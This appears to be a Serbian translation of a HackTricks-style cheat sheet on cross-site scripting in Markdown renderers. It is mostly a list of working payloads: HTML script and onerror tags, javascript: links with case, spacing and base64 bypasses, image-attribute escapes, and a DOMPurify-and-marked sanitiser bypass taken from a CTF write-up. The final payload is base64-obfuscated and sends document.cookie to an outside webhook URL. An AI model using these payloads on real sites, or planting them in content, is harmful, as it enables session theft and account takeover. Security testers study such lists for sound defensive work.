XSS u Markdown-u

Reading time: 6 minutes

Ako imate priliku da injektujete kod u markdown, postoji nekoliko opcija koje možete koristiti da pokrenete XSS kada se kod interpretira.

HTML tagovi

Najčešći način da dobijete XSS u markdown-u je da injektujete uobičajene HTML tagove koji izvršavaju javascript, jer će nekoliko markdown interpretera takođe prihvatiti HTML.

<!-- XSS with regular tags -->
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />

Možete pronaći više primera na glavnoj XSS stranici hacktricks.

Javascript linkovi

Ako HTML tagovi nisu opcija, uvek možete pokušati da se igrate sa markdown sintaksom:

<!-- markdow link to XSS, this usually always work but it requires interaction -->
[a](javascript:prompt(document.cookie))

<!-- Other links attacks with some bypasses -->
[Basic](javascript:alert('Basic')) [Local
Storage](javascript:alert(JSON.stringify(localStorage)))
[CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive'))
[URL](javascript://www.google.com%0Aalert('URL')) [In
Quotes]('javascript:alert("InQuotes")') [a](j a v a s c r i p
t:prompt(document.cookie))
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:window.onerror=alert;throw%201)

Zloupotreba sintakse img događaja

![Uh oh...](<"onerror="alert('XSS')>)
![Uh oh...](<https://www.example.com/image.png"onload="alert('XSS')>)
![Escape SRC - onload](<https://www.example.com/image.png"onload="alert('ImageOnLoad')>)
![Escape SRC - onerror](<"onerror="alert('ImageOnError')>)

HTML Sanitiser Markdown Bypass

Sledeći kod sanitizuje HTML ulaz i zatim prosleđuje ga markdown parseru, zatim se XSS može aktivirati zloupotrebom pogrešnih interpretacija između Markdown-a i DOMPurify-a.

<!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/marked@4.0.14/lib/marked.umd.min.js"></script>
<script>
const qs = new URLSearchParams(location.search)
if (qs.get("content")?.length > 0) {
document.body.innerHTML = marked.parse(
DOMPurify.sanitize(qs.get("content"))
)
}
</script>

Primeri payload-a:

<div
id="1

![](contenteditable/autofocus/onfocus=confirm('qwq')//index.html)">
-----------------------------------------------
<a
title="a

<img src=x onerror=alert(1)>"
>yep</a
>
------------------------------------------------ [x](y '<style>
')<!--
</style>
<div id="x--><img src=1 onerror=alert(1)>"></div>
---------------------------------------------- [
<p
x="<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5LTg1YTktNGU0YS1hNjg0LTUxN2M1ZjQwNmZmMj9mPWArZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmNvb2tpZSk/.source))>](#"></p>
